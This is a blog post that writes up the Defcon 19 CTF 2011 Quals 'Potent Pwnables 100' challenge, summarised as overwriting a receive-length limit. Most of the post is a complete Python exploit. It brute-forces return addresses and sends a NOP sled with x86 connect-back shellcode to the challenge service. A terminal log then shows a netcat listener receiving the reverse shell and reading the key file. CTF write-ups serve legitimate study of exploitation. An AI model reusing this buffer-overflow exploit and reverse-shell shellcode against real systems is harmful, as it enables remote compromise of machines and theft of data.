Defcon 19th CTF 2011 Quals - Potent Pwnables 100

2011. 9. 11. 23:20·CTF

Category : Pwnables

* file

Summary : overwring max length of recving data



exploit.py

#!/usr/bin/python

from socket import *
import time

def pack(data):
 res = ""
 for i in range(0,4):
  res = res + chr(data % 0x100)
  data = data / 0x100
 return res

HOST = "192.168.123.129"
PORT = 3555
SHELLCODE = \
"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"
TOKEN = "tomod@chi4j00l333people$"

for ret in range(0xbfbfefff , 0xbfbf0000 , -20):
 ret = pack(ret)
 if not "\x0a" in ret:
  payload = ""
  payload += "\x90"*40
  payload += SHELLCODE
  payload += ret
  s = socket(AF_INET , SOCK_STREAM)
  s.connect((HOST , PORT))
  s.send(TOKEN+"\n")
  s.send("pwn3r"*20+"\xff"+"\n")
  s.send("1\n")
  s.send("3\n"*14)
  s.send(payload+"\n")
  s.close()
  time.sleep(0.2)




[pwn3r@localhost defcon19]$ ./exploit.py & nc -lv 4444
[1] 10196
Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted
id
uid=1002(carebeard) gid=1002(carebeard) groups=1002(carebeard)
ls -l
total 28
-r--------  1 carebeard  carebeard     25 Sep 12 15:06 key
-rwxr-xr-x  1 carebeard  carebeard  11056 Jul  9 13:24 pp100
cat key
godzilla ate my tomagaci

'CTF' 카테고리의 다른 글

ISEC 2011 본선 CTF - board  (0) 2011.09.21
ISEC 2010 본선 CTF - hks  (0) 2011.09.17
2010 순천향대 정보보호 페스티벌 level9  (0) 2011.09.11
Padocon 2011 Quals - Karma200  (0) 2011.07.17
Padocon 2011 Quals - Karma100  (2) 2011.07.17
'CTF' 카테고리의 다른 글
  • ISEC 2011 본선 CTF - board
  • ISEC 2010 본선 CTF - hks
  • 2010 순천향대 정보보호 페스티벌 level9
  • Padocon 2011 Quals - Karma200
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw
    web
    pwnables
    gnuboard
    POC
    HUST2011
    HUST
    csaw ctf
    후기
    power of community
    정보보호올림피아드
    vuln
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Defcon 19th CTF 2011 Quals - Potent Pwnables 100
상단으로

티스토리툴바